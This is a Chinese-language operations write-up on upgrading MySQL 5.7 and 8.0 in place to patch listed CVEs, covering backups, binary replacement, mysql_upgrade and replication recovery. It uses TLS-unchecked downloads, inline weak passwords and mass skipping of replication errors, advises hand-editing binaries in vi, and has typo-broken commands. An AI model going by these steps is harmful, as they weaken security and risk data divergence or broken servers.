一、背景
某次安全漏掃，發(fā)現(xiàn)MySQL大量漏洞，基于Mysql之用于內(nèi)網(wǎng)，且版本確實(shí)有點(diǎn)舊，考慮升級(jí)，綜合漏洞分析，只能升級(jí)到最新版5.7.42和8.0.33，現(xiàn)場(chǎng)環(huán)境：Mysql 5.7.28、5.7.20 和mysql：8.0.21
| 漏洞編號(hào) | 漏洞描述 |
|---|---|
| CVE-2023-21912 | MySQL 5.7.41 版本及之前版本和 8.0.30 版本及之前版本的 Server: Security: Privileges 組件存在安全漏洞 |
| CVE-2022-37434 | MySQL 5.7.41版本及之前版本和 8.0.31 版本及之前版本的 Server: InnoDB (zlib)組件存在安全漏洞 |
| CVE-2022-32221 | MySQL Server 5.7.40及之前版本的Server: Packaging (cURL)組件內(nèi)不正確的輸入驗(yàn)證。 |
| CVE-2023-21980 | MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Client programs 組件存在安全漏洞； |
| CVE-2022-43551 | MySQL 5.7.41 版本及之前版本和 8.0.32 版本及之前版本的 Server: Server: Packaging (cURL) 組件存在安全漏洞 |
附錄：mysql5.7和mysql8.0區(qū)別、mysql 8手冊(cè)、版本說(shuō)明、mysql5.7手冊(cè)、阿里云漏洞庫(kù)
二、升級(jí)處理
1）升級(jí)方式選擇，Mysql的兩種升級(jí)方式：
1、就地升級(jí)（In-place Upgrade）
關(guān)閉舊版本mysql，用新的替換舊的二進(jìn)制文件或軟件包，在現(xiàn)有數(shù)據(jù)目錄上重啟數(shù)據(jù)庫(kù)，執(zhí)行mysql_upgrade
特點(diǎn)：不改變數(shù)據(jù)文件，升級(jí)速度快；但，不可以跨操作系統(tǒng)，不可以跨大版本（5.5—>5.7）.
2、邏輯升級(jí)（Logical Upgrade）
使用備份或?qū)С鰧?shí)用程序（如mysqldump，Xtrabackup）從舊mysql實(shí)例導(dǎo)出SQL ，安裝新的mysql數(shù)據(jù)庫(kù)版本，再將SQL應(yīng)用于新的mysql實(shí)例。
特點(diǎn)：可以跨操作系統(tǒng)，跨大版本；但，升級(jí)速度慢，容易出現(xiàn)亂碼等兼容性問(wèn)題。
本案中采用方法1升級(jí)替換，更多參考：Mysql 5.7 二進(jìn)制方式安裝
2）升級(jí)前準(zhǔn)備
參考文檔：Mysql8升級(jí)前準(zhǔn)備、Mysql5.7升級(jí)、介質(zhì)。
#rpm包方式：官方推薦解壓后yum安裝：yum install mysql-community-{server,client,common,libs}-*
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar
#二進(jìn)制包方式：因我們本次采用源碼包編譯安裝后替代二進(jìn)制文件方式，舊的版本也是基于glibc2.12的
wget --no-check-certificate https://cdn.mysql.com//Downloads/MySQL-5.7/mysql-57.42-linux-glibc2.12-x86 64.tar.gz
#合法性驗(yàn)證
md5sum mysql-5.7.42-1.el7.x86_64.rpm-bundle.tar //輸出ea9b44d306dcf6e74a4b4832a0a700e3
md5sum mysql-57.42-linux-glibc2.12-x86 64.tar.gz//輸出c00530249e4bf6899d1fbf6d3fed4897
#備份
tar -czf mysql_all.20230621.tar.gz ./mysql
#不鎖表備份
./mysql/bin/mysqldump -u root -p --databases db1 db2 --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`.sql #或--all-databases
#現(xiàn)場(chǎng)，-F 生產(chǎn)新的binlog(--flush-logs)，--no-data指導(dǎo)表結(jié)構(gòu)，
./mysql/bin/mysqldump -u root -p --databases spms xxl-job behavior_sur cr_debug interview --skip-add-drop-table --single-transaction > /opt/mysql_db_bak/mysql_`date +%Y%m%d`
#排除某些庫(kù)，導(dǎo)出語(yǔ)句中不輸出drop table,create table
mysql -uroot -p'mysql' -N -e "show databases;"|grep -Ev "information_schema|performance_schema|sys|mysql|database1"|xargs mysqldump -uroot -p'123456' --no-create-info --databases > /opt/mysql_db_bak/mysql_`date +%Y%m%d`|gzip >./mysql_`date +%Y%m%d`.sql.gz
#導(dǎo)出后直接導(dǎo)入slave,-C:啟用壓縮傳遞
mysqldump --host=master -uroot -p'123456' -C --all-databases |mysql --host=slave -uroot -p'123456'
#其他
mysqldump -uroot -p --all-databases --all-tablespaces //導(dǎo)出全部表空間
mysqldump -uroot -p --all-databases --no-tablespaces --add-drop-database //每個(gè)數(shù)據(jù)庫(kù)創(chuàng)建之前添加drop數(shù)據(jù)庫(kù)語(yǔ)句
mysqldump -uroot -p --all-databases --add-drop-database --add-drop-table 、、每個(gè)數(shù)據(jù)表創(chuàng)建之前添加drop數(shù)據(jù)表語(yǔ)句。(默認(rèn)為打開(kāi)狀態(tài)，使用--skip-add-drop-table取消選項(xiàng))
mysqldump -uroot -p --all-databases --skip-add-drop-table //取消drop語(yǔ)句
mysqldump -uroot -p --host=localhost --all-databases --no-create-db //或-n,只導(dǎo)出數(shù)據(jù)，而不添加CREATE DATABASE 語(yǔ)句
mysqldump -uroot -p --host=localhost --all-databases --no-create-info //-t,只導(dǎo)出數(shù)據(jù)，而不添加CREATE TABLE 語(yǔ)句
3）關(guān)閉mysql，替換二進(jìn)制進(jìn)行就地升級(jí)（不涉及跨大版本問(wèn)題）
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Wed 2023-04-19 23:25:30 CST; 2 months 2 days ago
Docs: man:systemd-sysv-generator(8)
Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2764 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local/mysql/data --pid-file=/var/run/mysqld/mysqld.pid
└─3108 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --datadir=/usr/local/mysql/data --plugin-dir=/usr/local/mysql/lib/plugin ...
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#如果沒(méi)有創(chuàng)建服務(wù)，可登錄后配置MySQL緩慢關(guān)停
mysql -u root -p
mysql> select @@innodb_fast_shutdown;
mysql> SET GLOBAL innodb_fast_shutdown=0;
#或直接，緩慢關(guān)閉服務(wù)的作用：關(guān)閉時(shí)，InnoDB會(huì)在關(guān)閉前執(zhí)行完全purge和變化的緩沖區(qū)合并，以確保在版本之間出現(xiàn)文件格式差異時(shí)，data files已做好準(zhǔn)備。
mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
mysqladmin -u root -p shutdown
#或者重新創(chuàng)建個(gè)
cp /usr/local/mysql/support-files/mysql.server /etc/rc.d/init.d/
chmod +x /etc/init.d/mysql.server
chkconfig --add mysql.server
chkconfig --list
systemctl stop mysqld
systemctl status mysqld #驗(yàn)證
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: inactive (dead) since Thu 2023-06-22 12:06:28 CST; 1min 17s ago
Docs: man:systemd-sysv-generator(8)
Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 2751 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Apr 19 23:25:29 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Apr 19 23:25:30 zq-mysql-master mysqld[2751]: Starting MySQL. SUCCESS!
Apr 19 23:25:30 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Jun 22 12:06:16 zq-mysql-master systemd[1]: Stopping LSB: start and stop MySQL...
Jun 22 12:06:28 zq-mysql-master mysqld[23685]: Shutting down MySQL............ SUCCESS!
Jun 22 12:06:28 zq-mysql-master systemd[1]: Stopped LSB: start and stop MySQL.
ps aux|grep mysql
#解壓二進(jìn)制包替換舊mysql
tar -xzf mysql-57.42-linux-glibc2.12-x86 64.tar.gz
mv mysql-5.7.42-linux-glibc2.12-x86_64 mysql-5.7.42
cd mysql-5.7.42
ls //
bin docs include lib LICENSE man README share support-files
#遷移mysql 5.7.42 到原mysql安裝目錄，比較權(quán)限
root@zq-mysql-master local]# ll ./mysql_old/
total 56
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 bin
-rw-r--r-- 1 mysql mysql 17987 Sep 13 2017 COPYING
drwxr-x--- 10 mysql mysql 4096 Jun 22 12:06 data
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 docs
drwxr-x--- 3 mysql mysql 4096 Sep 18 2019 include
drwxr-x--- 5 mysql mysql 4096 Sep 18 2019 lib
drwxr-x--- 4 mysql mysql 4096 Sep 18 2019 man
-rw-r--r-- 1 mysql mysql 2478 Sep 13 2017 README
drwxr-x--- 28 mysql mysql 4096 Sep 18 2019 share
drwxr-x--- 2 mysql mysql 4096 Sep 18 2019 support-files
[root@zq-mysql-master local]# ll ./mysql-5.7.42/
total 284
drwxr-xr-x 2 root root 4096 Jun 22 12:10 bin
drwxr-xr-x 2 root root 4096 Jun 22 12:10 docs
drwxr-xr-x 3 root root 4096 Jun 22 12:10 include
drwxr-xr-x 5 root root 4096 Jun 22 12:10 lib
-rw-r--r-- 1 7161 31415 255738 Mar 16 23:25 LICENSE
drwxr-xr-x 4 root root 4096 Jun 22 12:10 man
-rw-r--r-- 1 7161 31415 566 Mar 16 23:25 README
drwxr-xr-x 28 root root 4096 Jun 22 12:10 share
drwxr-xr-x 2 root root 4096 Jun 22 12:10 support-files
#授權(quán)后遷移data過(guò)去到新目錄
chown mysql.mysql -R ./mysql-5.7.42/
cp -pr ./mysql_old/data ./mysql-5.7.42/
ll ./mysql-5.7.42/
total 288
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 bin
drwxr-x--- 10 mysql mysql 4096 Jun 22 12:06 data
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 docs
drwxr-xr-x 3 mysql mysql 4096 Jun 22 12:10 include
drwxr-xr-x 5 mysql mysql 4096 Jun 22 12:10 lib
-rw-r--r-- 1 mysql mysql 255738 Mar 16 23:25 LICENSE
drwxr-xr-x 4 mysql mysql 4096 Jun 22 12:10 man
-rw-r--r-- 1 mysql mysql 566 Mar 16 23:25 README
drwxr-xr-x 28 mysql mysql 4096 Jun 22 12:10 share
drwxr-xr-x 2 mysql mysql 4096 Jun 22 12:10 support-files
#重新啟動(dòng)mysql
systemctl start mysqld
systemctl status mysqld //報(bào)錯(cuò)如下
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (exited) since Thu 2023-06-22 12:20:11 CST; 31s ago
Docs: man:systemd-sysv-generator(8)
Process: 23685 ExecStop=/etc/rc.d/init.d/mysqld stop (code=exited, status=0/SUCCESS)
Process: 24001 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 239: my_print_defaults: command not found
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: /etc/rc.d/init.d/mysqld: line 259: cd: /usr/local/mysql: No such file or directory
Jun 22 12:20:11 zq-mysql-master mysqld[24001]: Starting MySQL ERROR! Couldn't find MySQL server (/usr/local/mysql/bin/mysqld_safe)
Jun 22 12:20:11 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
#報(bào)錯(cuò)：
Jun 22 12:34:37 zq-mysql-master polkitd[2119]: Unregistered Authentication Agent for unix-process:24772:549123771 (system bus name :1.2
Jun 22 12:34:37 zq-mysql-master systemd[1]: Unit mysqld.service entered failed state.
Jun 22 12:34:37 zq-mysql-master systemd[1]: mysqld.service failed.
Jun 22 12:36:38 zq-mysql-master polkitd[2119]: Registered Authentication Agent for unix-process:25185:549135938 (system bus name :1.203
Jun 22 12:36:38 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
-- Subject: Unit mysqld.service has begun start-up
-- Defined-By: systemd
-- Support: http://lists.freedesktop.org/mailman/listinfo/systemd-devel
--
-- Unit mysqld.service has begun starting up.
Jun 22 12:36:39 zq-mysql-master mysqld[25191]: Starting MySQL. ERROR! The server quit without updating PID file (/var/run/mysqld/mysqld
Jun 22 12:36:39 zq-mysql-master systemd[1]: mysqld.service: control process exited, code=exited status=1
Jun 22 12:36:39 zq-mysql-master systemd[1]: Failed to start LSB: start and stop MySQL.
#用以下命令重新啟動(dòng)，注意mysql目錄是750的權(quán)限，否則會(huì)報(bào)：mysqld_safe mysqld from pid file /var/run/mysqld/mysql
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
#檢查數(shù)據(jù)庫(kù)所有表是否與當(dāng)前版本兼容，并更新系統(tǒng)庫(kù)
./bin/mysql_upgrade -u root -p //更新數(shù)據(jù)庫(kù)表，它會(huì)檢查所有數(shù)據(jù)庫(kù)中的所有表是否與當(dāng)前版本的MySQL不兼容。mysqlupgrade還回升級(jí)了mysql系統(tǒng)數(shù)據(jù)庫(kù)，以便可以利用新的權(quán)限或功能。注意：它不會(huì)升級(jí)時(shí)區(qū)表或幫助表的內(nèi)容。
Enter password:
Checking if update is needed.
Checking server version.
Running queries to upgrade MySQL server.
Checking system database.
mysql.columns_priv OK
mysql.db OK
mysql.engine_cost OK
mysql.event OK
mysql.func OK
……
mysql.user OK
Found outdated sys schema version 1.5.1.
Upgrading the sys schema.
Checking databases.
cr_debug.breakpoints OK
cr_debug.callstack OK
cr_debug.debuggings OK
cr_debug.info OK
cr_debug.watches OK
interview.act_evt_log OK
interview.act_ge_bytearray OK
interview.act_ge_property OK
interview.act_hi_actinst OK
interview.act_hi_attachment OK
interview.act_hi_comment OK
interview.act_hi_detail OK
interview.act_hi_identitylink OK
interview.act_hi_procinst OK
interview.act_hi_taskinst OK
interview.act_hi_varinst OK
interview.act_id_group OK
interview.act_id_info OK
interview.act_id_membership OK
interview.act_id_user OK
interview.act_procdef_info OK
interview.act_re_deployment OK
interview.act_re_model OK
interview.act_re_procdef OK
interview.act_ru_event_subscr OK
interview.act_ru_execution OK
interview.act_ru_identitylink OK
interview.act_ru_job OK
interview.act_ru_task OK
interview.act_ru_variable OK
interview.area OK
interview.bid_video_meeting OK
interview.judges OK
interview.judges_meeting OK
interview.notice_staff OK
interview.organization OK
interview.package_video OK
interview.staff OK
interview.sys_captcha OK
interview.sys_config OK
interview.sys_dictionary OK
interview.sys_log OK
interview.sys_menu OK
interview.sys_role OK
interview.sys_role_menu OK
interview.sys_sms OK
interview.sys_user OK
interview.sys_user_role OK
interview.sys_user_token OK
spms.act_evt_log OK
spms.act_ge_bytearray OK
spms.act_ge_property OK
spms.act_hi_actinst OK
spms.act_hi_attachment OK
spms.act_hi_comment OK
spms.act_hi_detail OK
spms.act_hi_identitylink OK
spms.act_hi_procinst OK
spms.act_hi_taskinst OK
spms.act_hi_varinst OK
spms.act_id_group OK
spms.act_id_info OK
spms.act_id_membership OK
spms.act_id_user OK
spms.act_procdef_info OK
spms.act_re_deployment OK
spms.act_re_model OK
spms.act_re_procdef OK
spms.act_ru_event_subscr OK
spms.act_ru_execution OK
spms.act_ru_identitylink OK
spms.act_ru_job OK
spms.act_ru_task OK
spms.act_ru_variable OK
spms.agency_score OK
spms.apply OK
spms.approve_record OK
spms.area OK
spms.bid_video_meeting OK
spms.bidding_agency OK
spms.bidding_agency_copy OK
spms.bidding_agency_staff OK
spms.bidding_agency_staff_copy OK
spms.desktop_para OK
spms.es_config OK
spms.es_project OK
spms.i_sys_user OK
spms.imp_exp_temp OK
spms.imp_exp_temp_comp OK
spms.judges OK
spms.judges_meeting OK
spms.meeting_room OK
spms.meeting_room_20220315 OK
spms.meeting_room_20220323 OK
spms.meeting_room_20220324 OK
spms.meeting_room_device OK
spms.meeting_room_device_20220315 OK
spms.meeting_room_device_20220323 OK
spms.meeting_room_device_20220324 OK
spms.meeting_room_device_20220830 OK
spms.meeting_room_device_copy1 OK
spms.meeting_room_redistribution OK
spms.meeting_room_staff OK
spms.meeting_room_staff_20220315 OK
spms.meeting_room_staff_20220323 OK
spms.meeting_room_staff_20220324 OK
spms.notice OK
spms.notice_staff OK
spms.online_cloud_user OK
spms.online_desktop_user OK
spms.online_meeting_room OK
spms.online_meeting_room_record OK
spms.online_sys_user OK
spms.org_bidding_agency OK
spms.organization OK
spms.organization_20190822 OK
spms.organization_20201105 OK
spms.organization_20211125 OK
spms.package_appointment OK
spms.package_appointment_20221015 OK
spms.package_document OK
spms.package_document_bak OK
spms.package_eva_content_record OK
spms.package_evaluate_record OK
spms.package_expert_extract OK
spms.package_expert_scr_record OK
spms.package_expert_signature OK
spms.package_expert_signature_step OK
spms.package_monitor_data OK
spms.package_monitor_data_20221018 OK
spms.package_monitor_data_copy OK
spms.package_supplier OK
spms.package_video OK
spms.package_video_20221015 OK
spms.package_video_202210151414 OK
spms.pdman_db_version OK
spms.post OK
spms.project OK
spms.project_20220322 OK
spms.project_20220505 OK
spms.project_20220816 OK
spms.project_bidding_agency OK
spms.project_borrow OK
spms.project_check OK
spms.project_log OK
spms.project_meeting_room OK
spms.project_package OK
spms.project_package_abort OK
spms.project_tender OK
spms.project_tender_20220322 OK
spms.project_tender_20220513 OK
spms.push_project_video_record OK
spms.qrtz_blob_triggers OK
spms.qrtz_calendars OK
spms.qrtz_cron_triggers OK
spms.qrtz_fired_triggers OK
spms.qrtz_job_details OK
spms.qrtz_locks OK
spms.qrtz_paused_trigger_grps OK
spms.qrtz_scheduler_state OK
spms.qrtz_simple_triggers OK
spms.qrtz_simprop_triggers OK
spms.qrtz_triggers OK
spms.rpt_meeting_room_build OK
spms.rpt_project_package_bid OK
spms.schedule_job OK
spms.schedule_job_log OK
spms.staff OK
spms.staff_copy1 OK
spms.step OK
spms.step_post OK
spms.step_post_staff OK
spms.sys_captcha OK
spms.sys_config OK
spms.sys_dictionary OK
spms.sys_dictionary_bak1223 OK
spms.sys_log OK
spms.sys_log_2022 OK
spms.sys_menu OK
spms.sys_menu_20190802 OK
spms.sys_menu_copy1 OK
spms.sys_notice OK
spms.sys_operate OK
spms.sys_role OK
spms.sys_role_menu OK
spms.sys_sms OK
spms.sys_user OK
spms.sys_user_password OK
spms.sys_user_role OK
spms.sys_user_role_copy OK
spms.sys_user_token OK
spms.tb_user OK
spms.tender_bidding_agency OK
spms.tmp_project OK
spms.tmp_screen_rec OK
spms.upload_log OK
spms.wo OK
spms.wo_recorder OK
sys.sys_config OK
xxl-job.xxl_job_qrtz_blob_triggers OK
xxl-job.xxl_job_qrtz_calendars OK
xxl-job.xxl_job_qrtz_cron_triggers OK
xxl-job.xxl_job_qrtz_fired_triggers OK
xxl-job.xxl_job_qrtz_job_details OK
xxl-job.xxl_job_qrtz_locks OK
xxl-job.xxl_job_qrtz_paused_trigger_grps OK
xxl-job.xxl_job_qrtz_scheduler_state OK
xxl-job.xxl_job_qrtz_simple_triggers OK
xxl-job.xxl_job_qrtz_simprop_triggers OK
xxl-job.xxl_job_qrtz_trigger_group OK
xxl-job.xxl_job_qrtz_trigger_info OK
xxl-job.xxl_job_qrtz_trigger_log OK
xxl-job.xxl_job_qrtz_trigger_logglue OK
xxl-job.xxl_job_qrtz_trigger_registry OK
xxl-job.xxl_job_qrtz_triggers OK
Upgrade process completed successfully.
Checking if update is needed.
#重啟mysql應(yīng)用升級(jí)，使其生效
./bin/mysqladmin -u root -p shutdown
./bin/mysqld_safe --user=mysql --datadir=/path/to/existing-datadir &
//或
systemctl start mysqld
//驗(yàn)證
systemctl status mysqld
● mysqld.service - LSB: start and stop MySQL
Loaded: loaded (/etc/rc.d/init.d/mysqld; bad; vendor preset: disabled)
Active: active (running) since Thu 2023-06-22 13:35:38 CST; 6s ago
Docs: man:systemd-sysv-generator(8)
Process: 2653 ExecStart=/etc/rc.d/init.d/mysqld start (code=exited, status=0/SUCCESS)
CGroup: /system.slice/mysqld.service
├─2666 /bin/sh /usr/local/mysql/bin/mysqld_safe --datadir=/usr/local...
└─3010 /usr/local/mysql/bin/mysqld --basedir=/usr/local/mysql --data...
Jun 22 13:35:37 zq-mysql-master systemd[1]: Starting LSB: start and stop MySQL...
Jun 22 13:35:38 zq-mysql-master mysqld[2653]: Starting MySQL. SUCCESS!
Jun 22 13:35:38 zq-mysql-master systemd[1]: Started LSB: start and stop MySQL.
Hint: Some lines were ellipsized, use -l to show in full.
//版本驗(yàn)證
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using EditLine wrapper
3）備庫(kù)升級(jí)
//主庫(kù)升級(jí)后鎖定
mysql> flush tables with read lock;
/bin/mysql -u root -p --execute="SET GLOBAL innodb_fast_shutdown=0"
/bin/mysqladmin -u root -p shutdown
chown -R mysql.mysql ./mysql-5.7.42/
chmod 750 ./mysql-5.7.42/
mv mysql-5.7.42 mysql
cd mysql
ll //驗(yàn)證
#同上
./bin/mysqld_safe --user=mysql --datadir=/usr/local/mysql/data &
./bin/mysql_upgrade -u root -p
./bin/mysqladmin -u root -p shutdown
ps aux|grep mysqld
systemctl start mysqld
systemctl status mysqld
mysql -V //輸出如下
mysql Ver 14.14 Distrib 5.7.42, for linux-glibc2.12 (x86_64) using EditLine wrapper
4）主從一致性恢復(fù)
//master上確認(rèn)
mysql> show master status;
+-------------------+----------+--------------+------------------+-------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB | Executed_Gtid_Set |
+-------------------+----------+--------------+------------------+-------------------+
| master-bin.000053 | 80656 | | | |
+-------------------+----------+--------------+------------------+-------------------+
1 row in set (0.01 sec)
//從庫(kù)上確定讀位置
ysql> show slave status\G
*************************** 1. row ***************************
Slave_IO_State:
Master_Host: 172.10.x.x
Master_User: repl
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: master-bin.000052
Read_Master_Log_Pos: 59086
Relay_Log_File: slave-relay-bin.000022
Relay_Log_Pos: 122301
Relay_Master_Log_File: master-bin.000051
Slave_IO_Running: No
Slave_SQL_Running: No
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 1032
Last_Error: Could not execute Update_rows event on table mysql.user; Can't find record in 'user', Error_code: 1032; handler error HA_ERR_KEY_NOT_FOUND; the event's master log master-bin.000051, end_log_pos 123294
//從庫(kù)上修改讀上述Pos
mysql> change master to master_host = '172.16.1.2', master_user = 'repl', master_port=3306, master_password='12345', master_log_file = 'master-bin.000053', master_log_pos=101990;
#如果repl密碼忘記，執(zhí)行如下
mysql> update mysql.user set authentication_string = password ('newpasswd') where user = 'repl' and host = '172.16.1.%';
mysql> flush privileges
//一般如果主從同步差別不大的話(huà)可跳過(guò)錯(cuò)誤內(nèi)容，數(shù)據(jù)量不大的可重新導(dǎo)入
mysql> set global sql_slave_skip_counter =10000;
mysql> show slave status\G
//待從連接主同步正常后，master上解鎖表
mysql> unlock tables;
//觀(guān)察一段時(shí)間，主從正常后，頁(yè)面驗(yàn)證業(yè)務(wù)即可
三、其他加固處理
1）可以獲取到MySQL/MariaDB/Percona/TiDB Server版本信息，版本泄露，隱藏版本即可
mysql> select version();
#或
telnet mysql_server_ip 3306
#或
nmap -T4 -sC -sV -p 3306 mysql_server_ip #yum -y install wget telnet nmap net-tools
#備份mysql二進(jìn)制文件
cp /usr/bin/mysql /usr/bin/mysql.bakcp /usr/sbin/mysqld /usr/sbin/mysqld.bak
#編輯修改二進(jìn)制文件中版本信息；注意：版本號(hào)不可為空或刪減其他信息，否則可能導(dǎo)致服務(wù)無(wú)法啟用！
vi /usr/bin/mysql #客戶(hù)端側(cè)，搜索關(guān)鍵字“Linux或Linux”快速定位，修改版本號(hào)，建議改為官網(wǎng)最新的穩(wěn)定版本
vi /usr/bin/mysqld #服務(wù)側(cè)，搜索關(guān)鍵字“--language”快速定位，修改版本號(hào)
#完成后，重啟服務(wù)驗(yàn)證
2）mysql 8.0和5.7 架構(gòu)區(qū)別
四、Mysql 8.0.21升級(jí)到8.0.33
mysql -V #
mysql Ver 8.0.21 for Linux on x86_64 (MySQL Community Server - GPL)
#Upgrading MySQL with Directly-Downloaded RPM Packages
wget https://cdn.mysql.com//Downloads/MySQL-8.0/mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
tar -xf mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar //如下
mysql-8.0.33-1.el7.x86_64.rpm-bundle.tar
mysql-community-client-8.0.33-1.el7.x86_64.rpm
mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm
mysql-community-common-8.0.33-1.el7.x86_64.rpm
mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm
mysql-community-devel-8.0.33-1.el7.x86_64.rpm
mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-8.0.33-1.el7.x86_64.rpm
mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm
mysql-community-server-8.0.33-1.el7.x86_64.rpm
mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm
mysql-community-test-8.0.33-1.el7.x86_64.rpm
#安裝，官方推薦用yum，而非rpm -Uvh
#yum localinstall mysql-community-{server,client,common,libs}-*
yum localinstall mysql-community-*
Loaded plugins: auto-update-debuginfo, fastestmirror, versionlock
Repository base is listed more than once in the configuration
Repository updates is listed more than once in the configuration
Repository extras is listed more than once in the configuration
Repository centosplus is listed more than once in the configuration
Repository epel is listed more than once in the configuration
Repository epel-debuginfo is listed more than once in the configuration
Repository epel-source is listed more than once in the configuration
Examining mysql-community-client-8.0.33-1.el7.x86_64.rpm: mysql-community-client-8.0.33-1.el7.x86_64
Marking mysql-community-client-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-client-8.0.21-1.el7.x86_64
Examining mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm: mysql-community-client-plugins-8.0.33-1.el7.x86_64
Marking mysql-community-client-plugins-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-common-8.0.33-1.el7.x86_64.rpm: mysql-community-common-8.0.33-1.el7.x86_64
Marking mysql-community-common-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-common-8.0.21-1.el7.x86_64
Examining mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm: mysql-community-debuginfo-8.0.33-1.el7.x86_64
Marking mysql-community-debuginfo-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-devel-8.0.33-1.el7.x86_64.rpm: mysql-community-devel-8.0.33-1.el7.x86_64
Marking mysql-community-devel-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-devel-8.0.21-1.el7.x86_64
Examining mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-embedded-compat-8.0.33-1.el7.x86_64
Marking mysql-community-embedded-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-embedded-compat-8.0.21-1.el7.x86_64
Examining mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm: mysql-community-icu-data-files-8.0.33-1.el7.x86_64
Marking mysql-community-icu-data-files-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-libs-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-8.0.33-1.el7.x86_64
Marking mysql-community-libs-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-8.0.21-1.el7.x86_64
Examining mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm: mysql-community-libs-compat-8.0.33-1.el7.x86_64
Marking mysql-community-libs-compat-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-libs-compat-8.0.21-1.el7.x86_64
Examining mysql-community-server-8.0.33-1.el7.x86_64.rpm: mysql-community-server-8.0.33-1.el7.x86_64
Marking mysql-community-server-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-server-8.0.21-1.el7.x86_64
Examining mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm: mysql-community-server-debug-8.0.33-1.el7.x86_64
Marking mysql-community-server-debug-8.0.33-1.el7.x86_64.rpm to be installed
Examining mysql-community-test-8.0.33-1.el7.x86_64.rpm: mysql-community-test-8.0.33-1.el7.x86_64
Marking mysql-community-test-8.0.33-1.el7.x86_64.rpm as an update to mysql-community-test-8.0.21-1.el7.x86_64
Resolving Dependencies
--> Running transaction check
---> Package mysql-community-client.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-client.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-client-plugins.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-common.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-common.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-debuginfo.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-devel.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-devel.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-embedded-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-embedded-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-icu-data-files.x86_64 0:8.0.33-1.el7 will be installed
---> Package mysql-community-libs.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-libs-compat.x86_64 0:8.0.21-1.el7 will be updated
---> Package mysql-community-libs-compat.x86_64 0:8.0.33-1.el7 will be an update
---> Package mysql-community-server.x86_64 0:8.0.21-1.el7 will be updated
